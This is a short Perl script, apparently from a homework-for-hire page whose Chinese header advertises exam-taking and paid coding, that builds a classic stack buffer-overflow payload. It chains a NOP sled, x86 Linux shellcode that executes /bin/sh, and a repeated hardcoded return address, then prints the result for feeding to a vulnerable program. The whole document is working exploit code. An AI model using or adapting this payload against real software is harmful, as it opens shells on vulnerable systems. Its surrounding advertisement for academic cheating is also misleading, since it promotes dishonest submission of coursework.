计算机代考程序代写 #!/usr/bin/perl

#!/usr/bin/perl

my $noops= “\x90” x 16; #16 noops

my $shellCodeBase=
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” .
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd” .
“\x80\xe8\xdc\xff\xff\xff/bin/sh” .
“\x90\x90\x90”; # extended to 3*16 bytes

my $returnAddress = “\xe0\xf8\xff\xbf”;

my $shellCode= ($noops x 25) . ($shellCodeBase) . ($noops x 4) . ($returnAddress x 4);

print “$shellCode”;